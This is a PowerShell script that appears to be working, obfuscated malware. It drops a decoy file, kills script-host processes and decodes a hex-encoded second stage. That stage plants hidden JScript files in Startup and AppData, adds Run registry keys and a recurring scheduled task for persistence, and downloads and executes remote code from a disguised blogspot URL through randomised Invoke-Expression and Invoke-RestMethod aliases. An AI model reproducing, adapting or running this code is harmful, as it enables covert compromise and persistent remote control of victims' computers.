try { $currentPolicy = Get-ExecutionPolicy -Scope Process Write-Host "Current Process Execution Policy: $currentPolicy" if ($currentPolicy -ne "Unrestricted") { Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted -Force Write-Host "Execution Policy successfully set to Unrestricted (Process scope)." } else { Write-Host "Execution Policy is already Unrestricted." } } catch { Write-Error "Failed to set execution policy: $($_.Exception.Message)" } $url = "http://www.google.com" $downloads = [Environment]::GetFolderPath("UserProfile") + "\Downloads\Document.pdf" Invoke-WebRequest -Uri $url -OutFile $downloads Start-Process $downloads # Target .NET framework directories $frameworkFolders = @( 'C:\Windows\Microsoft.NET\Framework\v2.0.50727', 'C:\Windows\Microsoft.NET\Framework\v4.0.30319' ) | ForEach-Object { [System.IO.Path]::GetFullPath($_).TrimEnd('\') } # Process exclusions $excludedProcesses = @('regsvcs') # Process names to terminate $targetProcessNames = @( 'mshta', 'msbuild', 'jsc', 'addInProcess', 'AddInProcess32', 'aspnet_compiler', 'wscript' ) # --- Stop suspicious processes running from .NET framework folders --- Get-CimInstance Win32_Process | ForEach-Object { if (-not $_.ExecutablePath) { return } $processName = [System.IO.Path]::GetFileNameWithoutExtension($_.Name) $processDir = [System.IO.Path]::GetDirectoryName($_.ExecutablePath).TrimEnd('\') if ( $excludedProcesses -notcontains $processName -and $frameworkFolders -contains $processDir ) { try { Stop-Process -Id $_.ProcessId -Force -ErrorAction Stop } catch { Write-Warning "Failed to stop process ID $($_.ProcessId): $($_.Exception.Message)" } } } # --- Stop explicitly named processes (excluding exclusions) --- $filteredTargets = $targetProcessNames | Where-Object { $_ -notin $excludedProcesses } foreach ($name in $filteredTargets) { try { Stop-Process -Name $name -Force -ErrorAction Stop } catch { Write-Verbose "Process '$name' not running or could not be stopped." } } # --- Remove .js files from Downloads folder --- $downloadPath = Join-Path $env:USERPROFILE 'Downloads\*.js' try { Remove-Item $downloadPath -Force -ErrorAction Stop } catch { Write-Warning "Failed to remove .js files from Downloads: $($_.Exception.Message)" } function Convert-HexToString { param ( [Parameter(Mandatory = $true)] [string]$HexString ) # Convert hex string to byte array $bytes = for ($i = 0; $i -lt $HexString.Length; $i += 2) { [Convert]::ToByte($HexString.Substring($i, 2), 16) } # Convert bytes back to string return [System.Text.Encoding]::UTF8.GetString($bytes) } function oaksdokasokd { $customCharacters = "abcdefghijklmnopqrstuvwxyz" -join ((0..2) | ForEach-Object { $customCharacters.Substring((Get-Random -Maximum $customCharacters.Length), 1) }) } function okasokdokwww { param ($min = 60, $max = 100) return Get-Random -Minimum $min -Maximum ($max + 1) } $oaksodkaoskdl = "66756E6374696F6E205265706C6163652D546F6B656E207B0A20202020706172616D2824746578742C20246C697374290A202020205B72656765785D3A3A5265706C6163652824746578742C20277068756964272C207B20246C6973745B284765742D52616E646F6D202D4D6178696D756D20246C6973742E436F756E74295D207D290A7D0A0A2476617269616E7473203D2022496E766F6B652D526573744D6574686F64222C2249726D222C2249524D222C2249724D222C2269726D222C2269524D222C2269724D220A0A66756E6374696F6E205265706C6163652D416D70207B0A20202020706172616D2824732C246B290A202020205B72656765785D3A3A5265706C6163652824732C276368756A75272C7B20246B5B284765742D52616E646F6D202D4D6178696D756D20246B2E436F756E74295D207D290A7D0A24776F726473203D2022494558222C22694578222C22496558222C22494578222C22696578222C22496E766F6B652D45787072657373696F6E220A0A66756E6374696F6E204765742D44657669636547756964207B0A0A202020202473746F7265203D204A6F696E2D506174682024656E763A415050444154412022477569642D63616C6D2E747874220A0A2020202023204966204755494420616C7265616479206578697374732C2072657573652069740A2020202069662028546573742D50617468202473746F726529207B0A202020202020202072657475726E20284765742D436F6E74656E74202473746F7265202D526177292E5472696D28290A202020207D0A0A202020202320596F7572206F726967696E616C2067656E657261746F720A2020202024686578203D202730313233343536373839616263646566270A2020202066756E6374696F6E2072616E6428246E29207B0A20202020202020202D6A6F696E2028312E2E246E207C20466F72456163682D4F626A656374207B20246865785B284765742D52616E646F6D202D4D6178696D756D20246865782E4C656E677468295D207D290A202020207D0A0A202020202467756964203D2022242872616E642034292D242872616E642034292D242872616E64203429220A0A2020202023205361766520697420666F72206675747572652072756E730A202020205365742D436F6E74656E74202473746F72652024677569640A0A2020202072657475726E2024677569640A7D0A0A246964203D204765742D446576696365477569640A0A232050617468730A2473746172747570203D205B456E7669726F6E6D656E745D3A3A476574466F6C6465725061746828225374617274757022290A247061746853746172747570203D204A6F696E2D5061746820247374617274757020222469642E747874220A247061746841707044617461203D204A6F696E2D506174682024656E763A4150504441544120222469642E747874220A0A232046756E6374696F6E20746F2067656E65726174652072616E646F6D697A65642068657820636F6E74656E740A66756E6374696F6E2047656E65726174652D486578436F6E74656E74207B0A20202020706172616D2824776F7264732C202476617269616E7473290A0A2020202024636F6E74656E74203D2040220A66756E6374696F6E205F30783530363728297B766172205F30783237613233323D5B273430524B614A4E41272C27323843744E4F6844272C27383836373037674B75766976272C27343636373234304F46625A7978272C273438373930354D7757695043272C273639363039665277686D4A272C2732303932343638694451696E4C272C2738725245447976272C2731363431353730714C58434E78272C2766726F6D43686172436F6465272C27333139333630624D6448614B275D3B5F3078353036373D66756E6374696F6E28297B72657475726E205F30783237613233323B7D3B72657475726E205F30783530363728293B7D766172205F30783937306336343D5F3078666630313B66756E6374696F6E205F307866663031285F30786631353762332C5F3078316330636165297B5F30786631353762333D5F30786631353762332D30783130623B766172205F30783530363738373D5F30783530363728293B766172205F30786666303138373D5F30783530363738375B5F30786631353762335D3B72657475726E205F30786666303138373B7D2866756E6374696F6E285F30783339623833632C5F3078376362313239297B766172205F30783534373164373D5F3078666630312C5F30783363336162633D5F307833396238336328293B7768696C652821215B5D297B7472797B766172205F30783537346132623D2D7061727365496E74285F307835343731643728307831306329292F3078312A282D7061727365496E74285F307835343731643728307831313329292F307832292B7061727365496E74285F307835343731643728307831306229292F3078332B7061727365496E74285F307835343731643728307831313229292F3078342A287061727365496E74285F307835343731643728307831313129292F307835292B2D7061727365496E74285F307835343731643728307831306629292F3078362B2D7061727365496E74285F307835343731643728307831306429292F3078372B7061727365496E74285F307835343731643728307831306529292F3078382A282D7061727365496E74285F307835343731643728307831313429292F307839292B2D7061727365496E74285F307835343731643728307831313529292F3078613B6966285F30783537346132623D3D3D5F307837636231323929627265616B3B656C7365205F30783363336162635B2770757368275D285F30783363336162635B277368696674275D2829293B7D6361746368285F3078326566386563297B5F30783363336162635B2770757368275D285F30783363336162635B277368696674275D2829293B7D7D7D285F3078353036372C3078396263613329293B766172206162633D5B5B537472696E675B2766726F6D43686172436F6465275D28307835332C307836382C307836352C307836632C307836632C307832652C307834312C307837302C307837302C307836632C307836392C307836332C307836312C307837342C307836392C307836662C30783665295D2C5B537472696E675B5F3078393730633634283078313130295D28307835332C307836382C307836352C307836632C307836632C307834352C307837382C307836352C307836332C307837352C307837342C30783635295D2C5B537472696E675B2766726F6D43686172436F6465275D28307837302C307836662C307837372C307836352C307837322C307837332C307836382C307836352C307836632C30783663295D2C272D65705C7832304279706173735C7832302D635C7832305B4E65742E53657276696365506F696E744D616E616765725D3A3A536563757269747950726F746F636F6C5C7832303D5C7832305B4E65742E536563757269747950726F746F636F6C547970655D3A3A546C7331323B5C7832306368756A755C7832302870687569645C7832304C6C696E6765726B293B5C78323053746172742D536C6565705C7832302D5365636F6E64735C78323074696D6F6E272C27272C537472696E675B5F3078393730633634283078313130295D28307836662C307837302C307836352C30783665292C3078305D2C6768693D6E657720416374697665584F626A656374286162635B3078305D293B6768695B6162635B3078315D5D286162635B3078325D2C6162635B3078335D2C6162635B3078345D2C6162635B3078355D2C6162635B3078365D293B0A22400A0A202020202472616E64203D204765742D52616E646F6D202D4D696E696D756D2031202D4D6178696D756D203130300A2020202024636F6E74656E74203D2024636F6E74656E74202D7265706C616365202774696D6F6E272C202472616E640A2020202024636F6E74656E74203D205265706C6163652D416D702024636F6E74656E742024776F7264730A2020202024636F6E74656E74203D205265706C6163652D546F6B656E2024636F6E74656E74202476617269616E74730A2020202072657475726E2024636F6E74656E740A7D0A232047656E657261746520646966666572656E742068657820666F7220656163682066696C650A2468657853746172747570203D2047656E65726174652D486578436F6E74656E742024776F726473202476617269616E74730A2468657841707044617461203D2047656E65726174652D486578436F6E74656E742024776F726473202476617269616E74730A0A2320577269746520746F2066696C65730A5365742D436F6E74656E7420247061746853746172747570202468657853746172747570202D466F7263650A5365742D436F6E74656E7420247061746841707044617461202468657841707044617461202D466F7263650A0A23204170706C7920617474726962757465730A284765742D4974656D20247061746853746172747570202D466F726365292E41747472696275746573203D202748696464656E2C2053797374656D2C20526561644F6E6C79270A284765742D4974656D20247061746841707044617461202D466F726365292E41747472696275746573203D202748696464656E2C2053797374656D2C20526561644F6E6C79270A0A232053686F7720696E666F0A4765742D4974656D20247061746853746172747570202D466F726365207C20466F726D61742D4C697374204E616D652C204C656E6774682C20417474726962757465732C204372656174696F6E54696D652C204C617374577269746554696D652C204C61737441636365737354696D650A4765742D4974656D20247061746841707044617461202D466F726365207C20466F726D61742D4C697374204E616D652C204C656E6774682C20417474726962757465732C204372656174696F6E54696D652C204C617374577269746554696D652C204C61737441636365737354696D650A0A0A0A23737420310A2463617374203D20225B4E65742E53657276696365506F696E744D616E616765725D3A3A536563757269747950726F746F636F6C203D205B4E65742E536563757269747950726F746F636F6C547970655D3A3A546C7331323B206368756A7520287068756964204C6C696E6765726B293B2053746172742D536C656570202D5365636F6E64732074696D6F6E69220A2463617374203D205265706C6163652D416D702024636173742024776F7264730A2463617374203D205265706C6163652D546F6B656E202463617374202476617269616E74730A2472616E64203D204765742D52616E646F6D202D4D696E696D756D2031202D4D6178696D756D203130300A2463617374203D202463617374202D7265706C616365202774696D6F6E69272C202472616E640A24636D64203D2024636173740A2320456E636F646520636F6D6D616E640A246279746573203D205B53797374656D2E546578742E456E636F64696E675D3A3A556E69636F64652E47657442797465732824636D64290A24656E636F646564203D205B436F6E766572745D3A3A546F426173653634537472696E6728246279746573290A2461757267203D20222D2D686561646C65737320706F7765727368656C6C2E657865202D6E6F70202D657020627970617373202D45432024656E636F646564220A5365742D4974656D50726F7065727479202D506174682022484B43553A5C534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E22202D4E616D65202270687564697461736B6861693122202D56616C75652022636F6E686F73742E657865202461757267220A0A23737420320A5365742D4974656D50726F7065727479202D506174682022484B43553A5C534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E22202D4E616D65202270687564697461736B6861693222202D56616C7565202277736372697074202F2F453A6A7363726970742060222470617468537461727475706022220A0A0A0A2320736820310A2470687564706875646368756D6368756D203D202270687564697461736B68616933220A2472616E646F6D70687564696B6170687564616B6172203D202230303A33303A3030223B2052656769737465722D5363686564756C65645461736B202D416374696F6E20284E65772D5363686564756C65645461736B416374696F6E202D4578656375746520277773637269707427202D417267756D656E7420222F2F453A6A73637269707420602224706174684170704461746160222229202D5472696767657220284E65772D5363686564756C65645461736B54726967676572202D4F6E6365202D417420284765742D44617465292E44617465202D52657065746974696F6E496E74657276616C20284E65772D54696D655370616E202D4D696E7574657320706875646974696D6D657229202D52657065746974696F6E4475726174696F6E20284E65772D54696D655370616E202D44617973203336353029202D52616E646F6D44656C6179202472616E646F6D70687564696B6170687564616B617229202D5461736B4E616D65202470687564706875646368756D6368756D202D466F7263650A0A" $oaksodkaoskdl = Convert-HexToString -HexString $oaksodkaoskdl $okasokd = 'h' + 'tt' + 'ps' + ':/' + '/' $slashing = '/' * (Get-Random -Minimum 4 -Maximum 257) $purpose = $slashing + 'ailimius.otd' $oaksdokkkwkw = $okasokd + 'missusecapmrch' + '.blog' + 's' + 'p' + 'o' + 't.' + 'c' + 'o' + 'm' + '///' + $purpose $lundkimachi1 = oaksdokasokd $lundkimachi2 = oaksdokasokd $lundkimachi3 = "Drake200" + (okasokdokwww) $lundkimachi4 = okasokdokwww $oaksodkaoskdl = $oaksodkaoskdl.Replace('Llingerk', $oaksdokkkwkw).Replace('abc', $lundkimachi1).Replace('phuditimmer', $lundkimachi4).Replace('phuditaskhai', $lundkimachi3).Replace('ghi', $lundkimachi2) $oaksodkaoskdl | . Iex